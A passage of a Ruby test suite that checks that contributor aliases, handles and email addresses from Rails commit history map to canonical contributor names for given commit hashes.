assert_contributor_names 'bee4c8f', 'Ben A. Morgan'
end
test 'bastilian' do
assert_contributor_names '071f48b', 'Sebastian Graessl'
end
test 'beerlington' do
assert_contributor_names '3da275c', 'Pete Brown'
end
test "bellis\100deepthought.org" do
assert_contributor_names 'dc87eba', 'Brad Ellis'
end
test "ben\100bensinclair.com" do
assert_contributor_names '1d9905a', 'Ben Sinclair'
end
test "ben\100groovie.org" do
assert_contributor_names 'b9c79f1', 'Ben Bangert'
end
test 'benedikt' do
assert_contributor_names 'b17fd25', 'Benedikt Deicke'
end
test 'Benjamin Klotz' do
assert_contributor_names 'd5847f4', 'Benny Klotz'
end
test "benji\100silverinsanity.com" do
assert_contributor_names 'd08f838', 'Brian Gernhardt'
end
test 'benmmurphy' do
assert_contributor_names 'c8168a7', 'Ben Murphy'
end
test 'benolee' do
assert_contributor_names '008023c', 'Ben Holley'
end
test 'bermi' do
assert_contributor_names '6ca789b', 'Bermi Ferrer'
end
test 'BertG' do
assert_contributor_names '06afb8c', 'Bert Goethals'
end
test 'bgipsy' do
assert_contributor_names '88f2284', 'Serge Balyuk'
end
test 'bgreenlee' do
assert_contributor_names '083b0b7', 'Brad Greenlee'
end
test 'bitsweat' do
assert_contributor_names '253a2bb', 'Jeremy Daer'
end
test 'Blaine' do
assert_contributor_names 'f5977b2', 'Blaine Cook'
end
test 'blaine' do
assert_contributor_names '7d517a1', 'Blaine Cook'
end
test "blaine\100odeo.com" do
assert_contributor_names 'bf3f920', 'Blaine Cook'
end
test "blair\100orcaware.com" do
assert_contributor_names '46796e7', 'Blair Zajac'
end
test "blake\100near-time.com" do
assert_contributor_names '604eb8a', 'Blake Watters'
end
test 'BlueHotDog' do
assert_contributor_names '8642c2a', 'Danni Friedland'
end
test 'BMorearty' do
assert_contributor_names '436da68', 'Brian Morearty'
end
test "bob\100sporkmonger.com" do
assert_contributor_names 'ce458a7', 'Bob Aman'
end
test 'bobbus' do
assert_contributor_names '7ded3b8', 'Adrien Coquio'
end
test 'BobSilva' do
assert_contributor_names '0c94868', 'Bob Silva'
end
test 'Bodacious' do
assert_contributor_names '39b9c94', 'Gavin Morrice'
end
test 'bogdan' do
assert_contributor_names 'b644964', 'Bogdan Gusiev'
end
test 'Bogdan' do
assert_contributor_names '2686130', 'bogdanvlviv'
end
test 'boone' do
assert_contributor_names '3486d54', 'Mike Boone'
end
test 'Bounga' do
assert_contributor_names '39de84d', 'Nicolas Cavigneaux'
end
test "brad\100madriska.com" do
assert_contributor_names '785e1fa5', 'Brad Ediger'
end
test 'bradediger' do
assert_contributor_names '6c77370', 'Brad Ediger'
end
test 'bradrobertson' do
assert_contributor_names '0252376', 'Brad Robertson'
end
test 'brainopia' do
assert_contributor_names 'da82b0a', 'Ravil Bayramgalin'
end
test 'brandon' do
assert_contributor_names '35ffc1a', 'Brandon Keepers'
end
test "brandon\100opensoul.org" do
assert_contributor_names 'fe4d5ea', 'Brandon Keepers'
end
test "brandt\100kurowski.net" do
assert_contributor_names '6d7175d', 'Brandt Kurowski'
end
test 'brendan' do
assert_contributor_names '88f2284', 'Brendan Baldwin'
end
test "brianegge\100yahoo.com" do
assert_contributor_names 'a092749', 'Brian Egge'
end
test 'brianp' do
assert_contributor_names '50a7391', 'Brian Pearce'
end
test 'bronson' do
assert_contributor_names 'cb1f569', 'Scott Bronson'
end
test 'brupm' do
assert_contributor_names '4e7d332', 'Bruno Miranda'
end
test 'brynary' do
assert_contributor_names '5dc831f', 'Bryan Helmkamp'
end
test 'bscofield' do
assert_contributor_names '81991d6', 'Ben Scofield'
end
test 'buddhamagnet' do
assert_contributor_names 'a85729c', 'Dave Goodchild'
end
test 'c.r.mcgrath' do
assert_contributor_names '838ae35', 'Chris McGrath'
end
test "c.r.mcgrath\100gmail.com" do
assert_contributor_names '6a51940', 'Chris McGrath'
end
test 'caio' do
assert_contributor_names 'c089974', 'Caio Chassot'
end
test 'calavera' do
assert_contributor_names '4196616', 'David Calavera'
end
test "caleb\100aei-tech.com" do
assert_contributor_names 'd5b67ed8', 'Caleb Tennis'
end
test 'canadaduane' do
assert_contributor_names 'cab2494', 'Duane Johnson'
end
test 'careo' do
assert_contributor_names '50ee332', 'Dane Jensen'
end
test 'Carlhuda' do
assert_contributor_names 'c102db9', 'Yehuda Katz', 'Carl Lerche'
end
test 'CassioMarques' do
assert_contributor_names '053afbe', 'Cássio Marques'
end
test 'Catfish' do
assert_contributor_names '9679cb4', 'Jonathan del Strother'
end
test 'catfish' do
assert_contributor_names 'eff27ab', 'Jonathan del Strother'
end
test 'cavalle' do
assert_contributor_names 'b96db52', 'Luismi Cavallé'
end
test 'cavelle' do
assert_contributor_names '9e45586', 'Luismi Cavallé'
end
test 'cch1' do
assert_contributor_names '569a78c', 'Chris Hapgood'
end
test 'cczona' do
assert_contributor_names '6ee8e92', 'Carina C. Zona'
end
test "cdcarter\100gmail.com" do
assert_contributor_names '2139921', 'Chris Carter'
end
test 'Cédric FABIANSKI' do
assert_contributor_names '9f54921', 'Cédric Fabianski'
end
test 'ceefour' do
assert_contributor_names '7e33de4', 'Hendy Irawan'
end
test 'ch33hau' do
assert_contributor_names 'ac85125', 'Lim Chee Hau'
end
test 'chaitanyav' do
assert_contributor_names '449cf50', 'Chaitanya Vellanki'
end
test "charles.gerungan\100gmail.com" do
assert_contributor_names '3c0e7b1', 'Charles M. Gerungan'
end
test 'chas' do
assert_contributor_names '6f63287', 'Chas Grundy'
end
test 'chocoby' do
assert_contributor_names '04907b6', 'Kenta Okamoto'
end
test 'choonkeat' do
assert_contributor_names '099c206', 'Choon Keat'
end
test "choonkeat\100gmail.com" do
assert_contributor_names '89840c4', 'Choon Keat'
end
test "chris\100chrisbrinker.com" do
assert_contributor_names 'a685579', 'Chris Brinker'
end
test 'chris finne' do
assert_contributor_names 'b80fa81', 'Chris Finne'
end
test "chris\100octopod.info" do
assert_contributor_names '3c0e7b1', 'Chris McGrath'
end
test "chris\100ozmm.org" do
assert_contributor_names '11c715a', 'Chris Wanstrath'
end
test "chris\100seagul.co.uk" do
assert_contributor_names '760bcc6', 'Chris Roos'
end
test 'chrisfinne' do
assert_contributor_names '76d2c45', 'Chris Finne'
end
test 'chrisk' do
assert_contributor_names '19a1586', 'Chris Kampmeier'
end
test 'chriskohlbrenner' do
assert_contributor_names '2ec51d0', 'Chris Kohlbrenner'
end
test 'chrismear' do
assert_contributor_names 'afd288c', 'Chris Mear'
end
test 'chrisroos' do
assert_contributor_names '50253ed', 'Chris Roos'
end
test "chriztian.steinmeier\100gmail.com" do
assert_contributor_names 'd40af24', 'Chriztian Steinmeier'
end
test 'Chu Yeow' do
assert_contributor_names 'dc3e55d', 'Cheah Chu Yeow'
end
test 'chuyeow' do
assert_contributor_names '56e6462', 'Cheah Chu Yeow'
end
test 'ciastek' do
assert_contributor_names '2bcfdec', 'Sebastian Spieszko'
end
test 'cjheath' do
assert_contributor_names '12d8d48', 'Clifford Heath'
end
test 'Claudio B' do
assert_contributor_names '0b0042c', 'Claudio Baccigalupo'
end
test 'Claudio B.' do
assert_contributor_names '2651810', 'Claudio Baccigalupo'
end
test 'claudiob' do
assert_contributor_names '0e56c1d', 'Claudio Baccigalupo'
end
test 'claudiofullscreen' do
assert_contributor_names '0b725aa', 'Claudio Baccigalupo'
end
test 'cluon' do
assert_contributor_names 'deda0ee', 'Phil Orwig'
end
test 'cnaize' do
assert_contributor_names 'bf15169', 'Nikita Loskutov'
end
test 'codafoo' do
assert_contributor_names 'be827f9', 'Cesar Ho'
end
test 'codahale' do
assert_contributor_names '4aabe46', 'Coda Hale'
end
test 'codeape' do
assert_contributor_names '9a42096', 'Dan Cheail'
end
test 'codebrulee' do
assert_contributor_names 'ebe8dd6', 'Kevin Smith'
end
test 'codesnik' do
assert_contributor_names '96d4da1', 'Alexey Trofimenko'
end
test "codyfauser\100gmail.com" do
assert_contributor_names 'f49ba11', 'Cody Fauser'
end
test 'coffee2code' do
assert_contributor_names 'ab9f324', 'Scott Reilly'
end
test "cohen.jeff\100gmail.com" do
assert_contributor_names 'e57bd72', 'Jeff Cohen'
end
test "colman\100rominato.com" do
assert_contributor_names 'b762e01', 'Colman Nady'
end
test "contact\100lukeredpath.co.uk" do
assert_contributor_names 'e9d4b36', 'Luke Redpath'
end
test "contact\100maik-schmidt.de" do
assert_contributor_names '2d24bed', 'Maik Schmidt'
end
test 'coreyhaines' do
assert_contributor_names 'df755d4', 'Corey Haines'
end
test 'Cory Gwin' do
assert_contributor_names '31021c7', 'Cory Gwin'
end
test 'court3nay' do
assert_contributor_names '891a962', 'Courtenay Gasking'
end
test 'Court3nay' do
assert_contributor_names 'ee87dbe', 'Courtenay Gasking'
end
test "court3nay\100gmail.com" do
assert_contributor_names 'df97ed5', 'Courtenay Gasking'
end
test 'courtenay' do
assert_contributor_names '14e7c7c', 'Courtenay Gasking'
end
test 'cpytel' do
assert_contributor_names 'f254616', 'Chad Pytel'
end
test 'Cristi BALAN' do
assert_contributor_names '6d566e8', 'Cristi Balan'
end
test 'ctm' do
assert_contributor_names 'c26cca3', 'Clifford T. Matthews'
end
test 'cyu' do
assert_contributor_names '2b68762', 'Calvin Yu'
end
test 'dacat' do
assert_contributor_names 'f854ecd', 'Felix Dominguez'
end
test 'dancroak' do
assert_contributor_names '569a78c', 'Dan Croak'
end
test 'danger' do
assert_contributor_names '1dd0034', 'Jack Danger Canty'
end
test 'Danger' do
assert_contributor_names '2c6e616', 'Jack Danger Canty'
end
test 'Daniel Burnette' do
assert_contributor_names 'b93ae0c', 'Daniel Burnette'
end
test "daniel\100nightrunner.com" do
assert_contributor_names 'ba309a3', 'Daniel Hobe'
end
test "daniel\100nouvelles-solutions.com" do
assert_contributor_names '1671609', 'Daniel Wanja'
end
test 'danielc192' do
assert_contributor_names '0fc481d', 'Daniel Cohen'
end
test 'danielmorrison' do
assert_contributor_names 'cb5b8a7', 'Daniel Morrison'
end
test "daniels\100pronto.com.au" do
assert_contributor_names '6a1a1e5', 'Daniel Sheppard'
end
test "daniluk\100yahoo.com" do
assert_contributor_names 'c99df46', 'Grzegorz Daniluk'
end
test "dansketcher\100gmail.com" do
assert_contributor_names 'fb619127', 'Dan Sketcher'
end
test "darashi\100gmail.com" do
assert_contributor_names '17d2732', 'Yoji Shidara'
end
test 'dasil003' do
assert_contributor_names '2a07886', 'Gabe da Silveira'
end
test "dave\100cherryville.org" do
assert_contributor_names 'b66b1ff', 'Dave Lee'
end
test "dave-ml\100dribin.org" do
assert_contributor_names '2fe8610', 'Dave Dribin'
end
test "dave\100pragprog.com" do
assert_contributor_names 'c80c636', 'Dave Thomas'
end
test 'davetoxa' do
assert_contributor_names 'cc585c8', 'Anton Cherepanov'
end
test 'david.calavera' do
assert_contributor_names '7e1c04d', 'David Calavera'
end
test "david.felstead\100gmail.com" do
assert_contributor_names '8dda7c5', 'David Felstead'
end
test 'David FRANCOIS' do
assert_contributor_names '18aa1ae', 'David François'
end
test 'DAVID MOORE' do
assert_contributor_names '4c945cc', 'Dave Moore'
end
test "david\100ruppconsulting.com" do
assert_contributor_names 'c4a3634', 'David Rupp'
end
test 'davidauza-engineer' do
assert_contributor_names 'e3d496a', 'David Auza'
end
test 'davidjrice' do
assert_contributor_names '82a85e8', 'David Rice'
end
test 'davidw' do
assert_contributor_names '1f80296', 'David N. Welton'
end
test 'DawidJanczak' do
assert_contributor_names '89a8143', 'Dawid Janczak'
end
test 'Dawnthorn' do
assert_contributor_names 'f999ab0', 'Peter Haight'
end
test 'dblack' do
assert_contributor_names '11a5492', 'David A. Black'
end
test "dblack\100wobblini.net" do
assert_contributor_names '91247b6', 'David A. Black'
end
test 'dbussink' do
assert_contributor_names '78727dd', 'Dirkjan Bussink'
end
test 'dchelimsky' do
assert_contributor_names '42ebf55', 'David Chelimsky'
end
test 'dcmanges' do
assert_contributor_names '16fde4c', 'Dan Manges'
end
test 'dcurtis' do
assert_contributor_names '248fa70', 'Dustin Curtis'
end
test 'ddemaree' do
assert_contributor_names 'f90160c', 'David Demaree'
end
test 'ddollar' do
assert_contributor_names '8ff9e93', 'David Dollar'
end
test 'Dee.Zsombor' do
assert_contributor_names '2bf2230', 'Dee Zsombor'
end
test "Dee.Zsombor\100gmail.com" do
assert_contributor_names '26022d8', 'Dee Zsombor'
end
test 'deepblue' do
assert_contributor_names '2a34e08', 'Bryan Kang'
end
test 'defeated' do
assert_contributor_names 'dcaa074', 'Eddie Cianci'
end
test 'defunkt' do
assert_contributor_names '49cb412', 'Chris Wanstrath'
end
test 'DefV' do
assert_contributor_names 'c71de03', 'Jan De Poorter'
end
test "deirdre\100deirdre.net" do
assert_contributor_names '9105cd1', 'Deirdre Saoirse'
end
test 'DeLynn' do
assert_contributor_names 'aa09c77', 'DeLynn Berry'
end
test 'DeLynn B' do
assert_contributor_names '6cd3bda', 'DeLynn Berry'
end
test 'DeLynn Barry' do
assert_contributor_names 'f2e6945', 'DeLynn Berry'
end
test 'delynnb' do
assert_contributor_names '665ab93', 'DeLynn Berry'
end
test 'DelynnB' do
assert_contributor_names 'ba96827', 'DeLynn Berry'
end
test 'DeLynnB' do
assert_contributor_names 'ed46cc3', 'DeLynn Berry'
end
test 'demetrius' do
assert_contributor_names 'ec6f0a1', 'Demetrius Nunes'
end
test 'Demetrius' do
assert_contributor_names '93ec130', 'Demetrius Nunes'
end
test "derrickspell\100cdmplus.com" do
assert_contributor_names '416385a', 'Derrick Spell'
end
test "dev\100metacasa.net" do
assert_contributor_names '9a5b91a', 'John Sheets'
end
test 'Developer' do
assert_contributor_names '179b451', 'John Pignata'
end
test 'Dmitriy Budnik' do
assert_contributor_names 'a209652', 'Dmitriy Budnik'
end
test 'devrieda' do
assert_contributor_names '45d679b', 'Derek DeVries'
end
test "devslashnull\100gmail.com" do
assert_contributor_names '4bd80f1', 'Brian Donovan'
end
test "dfelstead\100site5.com" do
assert_contributor_names '5e5b87b', 'David Felstead'
end
test 'dfens' do
assert_contributor_names 'ab9140f', 'Paweł Mikołajewski'
end
test 'dharmatech' do
assert_contributor_names 'f74a4d8', 'Eduardo Cavazos'
end
test 'dixpac' do
assert_contributor_names 'c520417', 'Dino Maric'
end
test 'DHH' do
assert_contributor_names 'bd261ff', 'David Heinemeier Hansson'
end
test 'diatmpravin' do
assert_contributor_names 'a302597', 'Pravin Mishra'
end
test 'dickeyxxx' do
assert_contributor_names '21586d3', 'Jeff Dickey'
end
test "dj\100omelia.org" do
assert_contributor_names 'f6ec9e3', 'Duff OMelia'
end
test 'djanowski' do
assert_contributor_names '0e6c8e5', 'Damian Janowski'
end
test 'dkaplan88' do
assert_contributor_names 'a0bdf2f', 'Dan Kaplan'
end
test 'dkubb' do
assert_contributor_names '11a92b3', 'Dan Kubb'
end
test 'dm1try' do
assert_contributor_names 'c12024b', 'Dmitry Dedov'
end
test 'dmathieu' do
assert_contributor_names '18bce29', 'Damien Mathieu'
end
test 'Dmitriy Vorotilin' do
assert_contributor_names '705a1d5', 'Dmitry Vorotilin'
end
test 'Vasin Dmitriy' do
assert_contributor_names 'dc8ddea', 'Dmytro Vasin'
end
test 'doabit' do
assert_contributor_names '8094156', 'Sean Dent'
end
test 'docunext' do
assert_contributor_names 'c070cc4', 'Albert Lash'
end
test "dom\100sisna.com" do
assert_contributor_names 'c81af99', 'Dominic Sisneros'
end
test "don.park\100gmail.com" do
assert_contributor_names '2ed6d36', 'Don Park'
end
test "donald.piret\100synergetek.be" do
assert_contributor_names 'd94af9a', 'Donald Piret'
end
test "doppler\100gmail.com" do
assert_contributor_names 'f4f7e75', 'David Rose'
end
test "dpiddy\100gmail.com" do
assert_contributor_names 'd9c0a37', 'Dan Peterson'
end
test 'dpmehta02' do
assert_contributor_names 'b9ead0f', 'Dev Mehta'
end
test 'Dr Nic' do
assert_contributor_names '868e6b0', 'Dr Nic Williams'
end
test "drbrain\100segment7.net" do
assert_contributor_names 'ce0653b', 'Eric Hodel'
end
test 'Dreamer3' do
assert_contributor_names 'c6a1830', 'Josh Goebel'
end
test "dreamer3\100gmail.com" do
assert_contributor_names 'dfa8aa0', 'Josh Goebel'
end
test 'dreamfall' do
assert_contributor_names '7c3a5ec', 'Vasili Kachalko'
end
test 'DrMark' do
assert_contributor_names '56fec2f', 'Mark Lane'
end
test 'drnic' do
assert_contributor_names '346d36b', 'Dr Nic Williams'
end
test 'drodriguez' do
assert_contributor_names '046a87a', 'Daniel Rodríguez Troitiño'
end
test 'dtaniwaki' do
assert_contributor_names 'c91e1cc', 'Daisuke Taniwaki'
end
test "duane.johnson\100gmail.com" do
assert_contributor_names '0b92d38', 'Duane Johnson'
end
test "duncan\100whomwah.com" do
assert_contributor_names 'fd8ee0a', 'Duncan Robertson'
end
test 'duncanbeevers' do
assert_contributor_names '9f1fdcc', 'Duncan Beevers'
end
test "dweitzman\100gmail.com" do
assert_contributor_names '9ca9f95', 'David Weitzman'
end
test 'Dylan Smith' do
assert_contributor_names 'b4be619', 'Dylan Thacker-Smith'
end
test "dymo\100mk.ukrtelecom.ua" do
assert_contributor_names '6ce3bf7', 'Alexander Dymo'
end
test 'Eadz' do
assert_contributor_names '6a17151', 'Eaden McKee'
end
test 'eadz' do
assert_contributor_names '9b6207c', 'Eaden McKee'
end
test "easleydp\100gmail.com" do
assert_contributor_names 'eede40b', 'David Easley'
end
test "eddiewould\100paradise.net.nz" do
assert_contributor_names '1e7ce13', 'Eddie Stanley'
end
test 'edibiase' do
assert_contributor_names 'cb978ba', 'Evan DiBiase'
end
test 'edogawaconan' do
assert_contributor_names '650a05c', 'Edho Arief'
end
test "edward\100debian.org" do
assert_contributor_names '7d09b8d', 'Edward Betts'
end
test 'egilburg' do
assert_contributor_names '7c34548', 'Eugene Gilburg'
end
test "ehalvorsen+rails\100runbox.com" do
assert_contributor_names '49efa02', 'Erlend Halvorsen'
end
test 'eigentone' do
assert_contributor_names 'b62243a', 'Craig Davey'
end
test "eigentone\100gmail.com" do
assert_contributor_names '5130fc8', 'Craig Davey'
end
test 'eileencodes' do
assert_contributor_names '7caceee', 'Eileen M. Uchitelle'
end
test 'Eileen Uchitelle' do
assert_contributor_names 'aec635d', 'Eileen M. Uchitelle'
end
test 'ejy' do
assert_contributor_names '740e531', 'Elliot Yates'
end
test 'Elektron1c97' do
assert_contributor_names '6bd417d', 'Yves Siegrist'
end
test "elan\100bluemandrill.com" do
assert_contributor_names 'a46214c', 'Elan Feingold'
end
test "elliot\100townx.org" do
assert_contributor_names '68e35f1', 'Elliot Smith'
end
test 'Emili Parreno' do
assert_contributor_names '3616141', 'Emili Parreño'
end
test "emptysands\100gmail.com" do
assert_contributor_names 'da874a4', 'Nicholas Lee'
end
test 'eparreno' do
assert_contributor_names '344a695', 'Emili Parreño'
end
test "eric.daspet\100survol.net" do
assert_contributor_names '9153137', 'Eric Daspet'
end
test "erik\100codefaktor.de" do
assert_contributor_names 'eefc22f', 'Erik Abele'
end
test "erik\100ruby-lang.nl" do
assert_contributor_names 'e54b4d3', 'Erik Terpstra'
end
test 'ernesto.jimenez' do
assert_contributor_names '5932357', 'Ernesto Jimenez'
end
test 'Ershad K' do
assert_contributor_names '6389571', 'Ershad Kunnakkadan'
end
test 'esad' do
assert_contributor_names '4917813', 'Esad Hajdarevic'
end
test "esad\100esse.at" do
assert_contributor_names '6ef5b74', 'Esad Hajdarevic'
end
test "eule\100space.ch" do
assert_contributor_names 'bf8b101', 'Kaspar Schiess'
end
test 'evan' do
assert_contributor_names '00cecf8', 'Evan Weaver'
end
test "evan\100protest.net" do
assert_contributor_names '68608e3', 'Evan Henshaw-Plath'
end
test 'evansj' do
assert_contributor_names '211ffd3', 'Jon Evans'
end
test 'eventualbuddha' do
assert_contributor_names 'debaf20', 'Brian Donovan'
end
test "evgeny.zislis\100gmail.com" do
assert_contributor_names '842ce34', 'Evgeny Zislis'
end
test 'f.svehla' do
assert_contributor_names '3cf2c63', 'Ferdinand Svehla'
end
test "f.svehla\100gmail.com" do
assert_contributor_names 'a53372c', 'Ferdinand Svehla'
end
test 'Fabian Rodriguez' do
assert_contributor_names 'f374720', 'Fabián Rodríguez'
end
test "fabien\100odilat.com" do
assert_contributor_names 'f9103e1', 'Fabien Mannessier'
end
test 'farleyknight' do
assert_contributor_names 'f3b3826', 'Farley Knight'
end
test 'farzy' do
assert_contributor_names 'f18c24c', 'Farzad Farid'
end
test 'fastred' do
assert_contributor_names '4ea9a8d', 'Arkadiusz Holko'
end
test "fbeausoleil\100ftml.net" do
assert_contributor_names '6d336753', 'François Beausoleil'
end
test 'fcheung' do
assert_contributor_names '083b0b7', 'Frederick Cheung'
end
test 'fearoffish' do
assert_contributor_names 'df27fb8', 'Jamie van Dyke'
end
test 'fedot' do
assert_contributor_names '70d7b37', 'Fedot Praslov'
end
test "flash\100vanklinkenbergsoftware.nl" do
assert_contributor_names 'de1f231', 'Bas van Klinkenberg'
end
test 'floehopper' do
assert_contributor_names '4f39382', 'James Mead'
end
test 'flowdelic' do
assert_contributor_names 'c59bce8', 'Mason Hale'
end
test "foamdino\100gmail.com" do
assert_contributor_names '7635fac', 'Kevin Jackson'
end
test 'foca' do
assert_contributor_names '458ef3b', 'Nicolás Sanguinetti'
end
test 'Foliosus' do
assert_contributor_names '0c4ba90', 'Brent Miller'
end
test 'FooBarWidget' do
assert_contributor_names '9e13b96', 'Hongli Lai (Phusion)'
end
test 'François Beausolei' do
assert_contributor_names 'd496db1', 'François Beausoleil'
end
test 'Francesco Rodriguez' do
assert_contributor_names '3326b8b', 'Francesco Rodríguez'
end
test 'Francois Beausoleil' do
assert_contributor_names '07f92e8', 'François Beausoleil'
end
test "francois.beausoleil\100gmail.com" do
assert_contributor_names '127ee8c', 'François Beausoleil'
end
test 'Franky W' do
assert_contributor_names 'b1d2635', 'Franky Wahl'
end
test 'Fred Cheung' do
assert_contributor_names '220a64e', 'Frederick Cheung'
end
test "frederick.cheung\100gmail.com" do
assert_contributor_names '078bd05', 'Frederick Cheung'
end
test 'frederico' do
assert_contributor_names '11a75f9', 'Frederico Macedo'
end
test 'freels' do
assert_contributor_names '36b8073', 'Matt Freels'
end
test 'fxn' do
assert_contributor_names '75aef09', 'Xavier Noria'
end
test "g.bucher\100teti.ch" do
assert_contributor_names '3574ab3', 'Gaspard Bucher'
end
test "gabriel.gironda\100gmail.com" do
assert_contributor_names '258bacb', 'Gabriel Gironda'
end
test "gabriel\100gironda.org" do
assert_contributor_names 'ba2619f', 'Gabriel Gironda'
end
test 'ganesh' do
assert_contributor_names 'b3ade0c', 'Ganesh Kumar'
end
test 'Gaurav Sharam' do
assert_contributor_names '434c768', 'Gaurav Sharma'
end
test 'gbuesing' do
assert_contributor_names '41adf87', 'Geoff Buesing'
end
test 'Girish S' do
assert_contributor_names 'bbf6df7', 'Girish Sonawane'
end
test 'geemus' do
assert_contributor_names 'ed2eb6f', 'Wesley Beary'
end
test 'genlinux' do
assert_contributor_names '23a5be7', 'Thillai Arasu'
end
test "gensym\100mac.com" do
assert_contributor_names '5241b97', 'David Altenburg'
end
test 'Geoffrey Buesing' do
assert_contributor_names 'cfd5688', 'Geoff Buesing'
end
test 'Geoffrey ROGUELON' do
assert_contributor_names '96e483a', 'Geoffrey Roguelon'
end
test 'german' do
assert_contributor_names 'adbae9a', 'Dmitrii Samoilov'
end
test 'gfriedrich' do
assert_contributor_names 'd5e1220', 'Georg Friedrich'
end
test 'ggarside' do
assert_contributor_names '5a3b4cf', 'Geoff Garside'
end
test 'glorieux' do
assert_contributor_names 'c8b7ad1', 'Geoffroy Lorieux'
end
test 'glv' do
assert_contributor_names 'dd665ff', 'Glenn Vanderburg'
end
test 'gmarik' do
assert_contributor_names 'b0be721', 'Marjan Hratson'
end
test 'GMFlash' do
assert_contributor_names '21c75e5', 'Michael Sheakoski'
end
test 'gmile' do
assert_contributor_names '56c162e', 'Pirogov Evgenij'
end
test 'gnagno' do
assert_contributor_names 'fdc0468', 'Ignazio Mostallino'
end
test "grant\100antiflux.org" do
assert_contributor_names '63a9516', 'Grant Hollingworth'
end
test 'greenbigfrog' do
assert_contributor_names '9233f52', 'greenbigfrog'
end
test 'Greenie0506' do
assert_contributor_names 'a1ae17e', 'Nicholas Greenfield'
end
test "greg\100lapcominc.com" do
assert_contributor_names '7f00f51', 'Greg Lappen'
end
test 'gregolsen' do
assert_contributor_names '8d83e33', 'Innokenty Mikhailov'
end
test 'grg' do
assert_contributor_names 'fb7807e', 'Glen Gibb'
end
test 'grosser' do
assert_contributor_names '149e3cd', 'Michael Grosser'
end
test 'gsphanikumar' do
assert_contributor_names 'b1a501e', 'G S Phani Kumar'
end
test 'gspiers' do
assert_contributor_names '9300ebd', 'Greg Spiers'
end
test 'guillaume' do
assert_contributor_names 'cfe42ba', 'Guillaume Carbonneau'
end
test 'Guo Xiang' do
assert_contributor_names '1f89330', 'Guo Xiang Tan'
end
test "guy.naor\100famundo.com" do
assert_contributor_names 'd568fb6', 'Guy Naor'
end
test 'gwcoffey' do
assert_contributor_names '9b6207c', 'Geoff Coffey'
end
test 'h-lame' do
assert_contributor_names '295587f', 'Murray Steele'
end
test 'hakanensari' do
assert_contributor_names '9be22bd', 'Hakan Ensari'
end
test "hakuja\100hakuja.net" do
assert_contributor_names '50103b8', 'Koichi Tsutsumi'
end
test 'halfbyte' do
assert_contributor_names 'c9397e6', 'Jan Krutisch'
end
test "hanson\100surgery.wisc.edu" do
assert_contributor_names '431e21c', 'Todd Hanson'
end
test 'hardbap' do
assert_contributor_names '4c21026', 'Mike Breen'
end
test 'haruki_zaemon' do
assert_contributor_names 'fcfcc70', 'Simon Harris'
end
test 'hasmanyjosh' do
assert_contributor_names '24abd43', 'Josh Susser'
end
test "hcatlin\100gmail.com" do
assert_contributor_names 'c5ec16e', 'Hampton Catlin'
end
test "headius\100headius.com" do
assert_contributor_names 'c53ae00', 'Charles Nutter'
end
test 'heavysixer' do
assert_contributor_names '429ef9c', 'Mark Daggett'
end
test "hendrik\100mans.de" do
assert_contributor_names 'ac4b470', 'Hendrik Mans'
end
test 'henrik' do
assert_contributor_names '9929cb4', 'Henrik Nyh'
end
test 'Henrik N' do
assert_contributor_names 'c84c043', 'Henrik Nyh'
end
test "henrik\100nyh.se" do
assert_contributor_names '65a29b3', 'Henrik Nyh'
end
test "hensleyl\100papermountain.org" do
assert_contributor_names '85c603f', 'Leslie A. Hensley'
end
test 'hiroshi' do
assert_contributor_names '94d6716', 'Hiroshi Saito'
end
test 'hoffm' do
assert_contributor_names '1b12d08', 'Michael Hoffman'
end
test 'homa' do
assert_contributor_names 'b839657', 'Egor Homakov'
end
test "\100homakov" do
assert_contributor_names '973490a', 'Egor Homakov'
end
test 'homakov' do
assert_contributor_names 'f35c93f', 'Egor Homakov'
end
test 'Hongli Lai' do
assert_contributor_names 'f1d6a0e', 'Hongli Lai (Phusion)'
end
test 'Hongli Lai (Phusion' do
assert_contributor_names '011cbbc', 'Hongli Lai (Phusion)'
end
test 'HPNeo' do
assert_contributor_names '96f7ec4', 'Gustavo Leon'
end
test 'iaddict' do
assert_contributor_names 'e1b3a44', 'Tom Stone'
end
test "ian.w.white\100gmail.com" do
assert_contributor_names '59c8c63', 'Ian White'
end
test 'iGEL' do
assert_contributor_names 'c3ff04b', 'Johannes Barre'
end
test 'Igor' do
assert_contributor_names 'dd0bbd2', 'Igor Fedoronchuk'
end
test 'igor04' do
assert_contributor_names '0e50b7b', 'Igor Guzak'
end
test "ikeda\100dream.big.or.jp" do
assert_contributor_names 'f0448f5', 'Akira Ikeda'
end
test 'imajes' do
assert_contributor_names '553c23d', 'James Cox'
end
test "info\100rhalff.com" do
assert_contributor_names '73ed47d', 'Rob Halff'
end
test 'innu' do
assert_contributor_names 'af005df', 'Indrek Juhkam'
end
test 'intinig' do
assert_contributor_names 'f2e6945', 'Giovanni Intini'
end
test 'Intrepidd' do
assert_contributor_names '9c025ab', 'Adrien Siami'
end
test 'Irfy' do
assert_contributor_names 'a02c607', 'Irfan Adilovic'
end
test "isaac\100reuben.com" do
assert_contributor_names '2402131', 'Isaac Reuben'
end
test 'isaacfeliu' do
assert_contributor_names '9e76b59', 'Isaac Feliu'
end
test 'isak' do
assert_contributor_names '3b9bcf1', 'Andreas Isaksson'
end
test 'Ivan' do
assert_contributor_names 'e838fa0', 'Ivan Korunkov'
end
test 'iwiznia' do
assert_contributor_names '7b6f2a0', 'Ionatan Wiznia'
end
test "jackc\100hylesanderson.com" do
assert_contributor_names '76e4c1a', 'Jack Christensen'
end
test 'jacobat' do
assert_contributor_names '4f59aac', 'Jacob Atzen'
end
test 'jacobherrington' do
assert_contributor_names 'dc27efc', 'Jacob Herrington'
end
test 'jacobstr' do
assert_contributor_names 'cc99580', 'Jacob Straszynski'
end
test 'jacortinas' do
assert_contributor_names '6602fb6', 'Jose Angel Cortinas'
end
test 'jacott' do
assert_contributor_names 'db05478', 'Geoff Jacobsen'
end
test 'jafrog' do
assert_contributor_names 'dd0cae3', 'Irina Bednova'
end
test "jakob\100mentalized.net" do
assert_contributor_names '7aa9eed', 'Jakob Skjerning'
end
test 'Jakob S' do
assert_contributor_names '57098ad', 'Jakob Skjerning'
end
test "james.adam\100gmail.com" do
assert_contributor_names 'd63f6b9', 'James Adam'
end
test "james\100grayproductions.net" do
assert_contributor_names '12ff554', 'James Edward Gray II'
end
test "james\100slashetc.com" do
assert_contributor_names '85bb292', 'James Megquier'
end
test 'jamesgolick' do
assert_contributor_names '083b0b7', 'James Golick'
end
test 'jamie' do
assert_contributor_names '0a79eb7', 'Jamie Hill'
end
test "jamie\100bravenet.com" do
assert_contributor_names 'db9be58', 'Jamie Macey'
end
test "jamie\100dang.com" do
assert_contributor_names 'fddd33b', 'Jamie Orchard-Hays'
end
test 'Jamis' do
